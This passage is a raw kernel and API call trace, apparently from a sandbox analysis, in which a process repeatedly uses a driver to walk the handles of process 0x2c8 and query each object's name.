ProcessId=0x2c8, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.528] PsAcquireProcessExitSynchronization () returned 0x0 [0093.528] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880052335d0) [0093.528] ObReferenceObjectByHandle (in: Handle=0x4d8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8003308a80, HandleInformation=0x0) returned 0x0 [0093.528] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.528] PsReleaseProcessExitSynchronization () returned 0x2 [0093.528] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0xfe [0093.528] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002011044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8002011044, ReturnLength=0xfffff88005233508) returned 0x0 [0093.528] ObfDereferenceObject (Object=0xfffffa8003308a80) returned 0x12 [0093.528] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.528] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.528] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.528] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0xf4, lpOverlapped=0x0) returned 1 [0093.528] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.528] PsAcquireProcessExitSynchronization () returned 0x0 [0093.528] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880052335d0) [0093.528] ObReferenceObjectByHandle (in: Handle=0x4ec, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8002f853c0, HandleInformation=0x0) returned 0x0 [0093.528] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.528] PsReleaseProcessExitSynchronization () returned 0x2 [0093.528] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0xfe [0093.528] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002012044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8002012044, ReturnLength=0xfffff88005233508) returned 0x0 [0093.528] ObfDereferenceObject (Object=0xfffffa8002f853c0) returned 0x12 [0093.528] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.528] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.528] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.528] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x110, lpOverlapped=0x0) returned 1 [0093.529] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.529] PsAcquireProcessExitSynchronization () returned 0x0 [0093.529] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880052335d0) [0093.529] ObReferenceObjectByHandle (in: Handle=0x4f0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80032f2ac0, HandleInformation=0x0) returned 0x0 [0093.529] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.529] PsReleaseProcessExitSynchronization () returned 0x2 [0093.529] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0xfe [0093.529] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002013044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8002013044, ReturnLength=0xfffff88005233508) returned 0x0 [0093.529] ObfDereferenceObject (Object=0xfffffa80032f2ac0) returned 0x12 [0093.529] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.529] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.529] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.529] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0xf4, lpOverlapped=0x0) returned 1 [0093.529] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.529] PsAcquireProcessExitSynchronization () returned 0x0 [0093.529] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880052335d0) [0093.529] ObReferenceObjectByHandle (in: Handle=0x4f4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80032f5650, HandleInformation=0x0) returned 0x0 [0093.529] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.529] PsReleaseProcessExitSynchronization () returned 0x2 [0093.529] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0xfe [0093.529] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800201d044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa800201d044, ReturnLength=0xfffff88005233508) returned 0x0 [0093.529] ObfDereferenceObject (Object=0xfffffa80032f5650) returned 0x12 [0093.529] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.529] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.529] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.529] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0xfe, lpOverlapped=0x0) returned 1 [0093.529] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.529] PsAcquireProcessExitSynchronization () returned 0x0 [0093.529] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880052335d0) [0093.529] ObReferenceObjectByHandle (in: Handle=0x4f8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8003309490, HandleInformation=0x0) returned 0x0 [0093.529] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.530] PsReleaseProcessExitSynchronization () returned 0x2 [0093.530] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0xfe [0093.530] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800201f044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa800201f044, ReturnLength=0xfffff88005233508) returned 0x0 [0093.530] ObfDereferenceObject (Object=0xfffffa8003309490) returned 0x12 [0093.530] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.530] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.530] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.530] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x11a, lpOverlapped=0x0) returned 1 [0093.530] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.530] PsAcquireProcessExitSynchronization () returned 0x0 [0093.530] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880052335d0) [0093.530] ObReferenceObjectByHandle (in: Handle=0x4fc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80032cf510, HandleInformation=0x0) returned 0x0 [0093.530] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.530] PsReleaseProcessExitSynchronization () returned 0x2 [0093.530] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0xfe [0093.530] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80039997c4, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa80039997c4, ReturnLength=0xfffff88005233508) returned 0x0 [0093.530] ObfDereferenceObject (Object=0xfffffa80032cf510) returned 0x12 [0093.530] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.530] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.530] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.530] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x104, lpOverlapped=0x0) returned 1 [0093.530] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.530] PsAcquireProcessExitSynchronization () returned 0x0 [0093.530] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880052335d0) [0093.530] ObReferenceObjectByHandle (in: Handle=0x524, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80028daaa0, HandleInformation=0x0) returned 0x0 [0093.530] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.530] PsReleaseProcessExitSynchronization () returned 0x2 [0093.530] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0xfe [0093.530] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800395d044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa800395d044, ReturnLength=0xfffff88005233508) returned 0x0 [0093.530] ObfDereferenceObject (Object=0xfffffa80028daaa0) returned 0x12 [0093.530] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.530] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.531] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.531] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0xc4, lpOverlapped=0x0) returned 1 [0093.531] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.531] PsAcquireProcessExitSynchronization () returned 0x0 [0093.531] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880052335d0) [0093.531] ObReferenceObjectByHandle (in: Handle=0x530, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80034da620, HandleInformation=0x0) returned 0x0 [0093.531] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.531] PsReleaseProcessExitSynchronization () returned 0x2 [0093.531] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0xfe [0093.531] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80038dd7c4, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa80038dd7c4, ReturnLength=0xfffff88005233508) returned 0x0 [0093.531] ObfDereferenceObject (Object=0xfffffa80034da620) returned 0x12 [0093.531] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.531] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.531] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.531] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0xf4, lpOverlapped=0x0) returned 1 [0093.531] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.531] PsAcquireProcessExitSynchronization () returned 0x0 [0093.531] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880052335d0) [0093.531] ObReferenceObjectByHandle (in: Handle=0x53c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8002861f20, HandleInformation=0x0) returned 0x0 [0093.531] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.531] PsReleaseProcessExitSynchronization () returned 0x2 [0093.531] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0xfe [0093.531] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800390e204, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa800390e204, ReturnLength=0xfffff88005233508) returned 0x0 [0093.531] ObfDereferenceObject (Object=0xfffffa8002861f20) returned 0x13 [0093.531] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.531] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.531] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.531] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0xd6, lpOverlapped=0x0) returned 1 [0093.531] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.531] PsAcquireProcessExitSynchronization () returned 0x0 [0093.531] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880052335d0) [0093.531] ObReferenceObjectByHandle (in: Handle=0x544, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80034702c0, HandleInformation=0x0) returned 0x0 [0093.531] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.532] PsReleaseProcessExitSynchronization () returned 0x2 [0093.532] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0xfe [0093.532] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80026027c4, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa80026027c4, ReturnLength=0xfffff88005233508) returned 0x0 [0093.532] ObfDereferenceObject (Object=0xfffffa80034702c0) returned 0x20 [0093.532] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.532] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.532] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.532] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0xea, lpOverlapped=0x0) returned 1 [0093.532] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.532] PsAcquireProcessExitSynchronization () returned 0x0 [0093.532] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880052335d0) [0093.532] ObReferenceObjectByHandle (in: Handle=0x58c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8003b112c0, HandleInformation=0x0) returned 0x0 [0093.532] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.532] PsReleaseProcessExitSynchronization () returned 0x2 [0093.532] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0xfe [0093.532] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003920044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8003920044, ReturnLength=0xfffff88005233508) returned 0x0 [0093.532] ObfDereferenceObject (Object=0xfffffa8003b112c0) returned 0x6 [0093.532] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.532] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.532] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.532] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x118, lpOverlapped=0x0) returned 1 [0093.532] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.532] PsAcquireProcessExitSynchronization () returned 0x0 [0093.532] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880052335d0) [0093.532] ObReferenceObjectByHandle (in: Handle=0x5ec, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8003129f20, HandleInformation=0x0) returned 0x0 [0093.532] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.532] PsReleaseProcessExitSynchronization () returned 0x2 [0093.532] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0xfe [0093.532] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003969044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8003969044, ReturnLength=0xfffff88005233508) returned 0x0 [0093.532] ObfDereferenceObject (Object=0xfffffa8003129f20) returned 0x12 [0093.532] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.532] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.532] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.532] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0xea, lpOverlapped=0x0) returned 1 [0093.533] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.533] PsAcquireProcessExitSynchronization () returned 0x0 [0093.533] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880052335d0) [0093.533] ObReferenceObjectByHandle (in: Handle=0x60c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8002f8f7d0, HandleInformation=0x0) returned 0x0 [0093.533] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.533] PsReleaseProcessExitSynchronization () returned 0x2 [0093.533] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0xfe [0093.533] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003929044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8003929044, ReturnLength=0xfffff88005233508) returned 0x0 [0093.533] ObfDereferenceObject (Object=0xfffffa8002f8f7d0) returned 0x12 [0093.533] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.533] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.533] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.533] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x3c, lpOverlapped=0x0) returned 1 [0093.533] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.533] PsAcquireProcessExitSynchronization () returned 0x0 [0093.533] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880052335d0) [0093.533] ObReferenceObjectByHandle (in: Handle=0x618, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa800345b610, HandleInformation=0x0) returned 0x0 [0093.533] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.533] PsReleaseProcessExitSynchronization () returned 0x2 [0093.533] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0xfe [0093.533] ObQueryNameString (in: Object=0xfffffa800345b610, ObjectNameInfo=0xfffffa8002126044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8002126044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.533] ObfDereferenceObject (Object=0xfffffa800345b610) returned 0x2 [0093.533] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.533] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.533] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.533] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0xd0, lpOverlapped=0x0) returned 1 [0093.533] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.533] PsAcquireProcessExitSynchronization () returned 0x0 [0093.533] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880052335d0) [0093.533] ObReferenceObjectByHandle (in: Handle=0x638, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa800348c8d0, HandleInformation=0x0) returned 0x0 [0093.533] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.533] PsReleaseProcessExitSynchronization () returned 0x2 [0093.534] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0xfe [0093.534] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800211a044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa800211a044, ReturnLength=0xfffff88005233508) returned 0x0 [0093.534] ObfDereferenceObject (Object=0xfffffa800348c8d0) returned 0x6 [0093.534] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.534] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.534] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.534] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0093.534] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.534] PsAcquireProcessExitSynchronization () returned 0x0 [0093.534] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880052335d0) [0093.534] ObReferenceObjectByHandle (in: Handle=0x65c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a0019a8fc0, HandleInformation=0x0) returned 0x0 [0093.534] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.534] PsReleaseProcessExitSynchronization () returned 0x2 [0093.534] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0xfe [0093.534] ObQueryNameString (in: Object=0xfffff8a0019a8fc0, ObjectNameInfo=0xfffffa8003ab3044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003ab3044, ReturnLength=0xfffff88005233550) returned 0x0 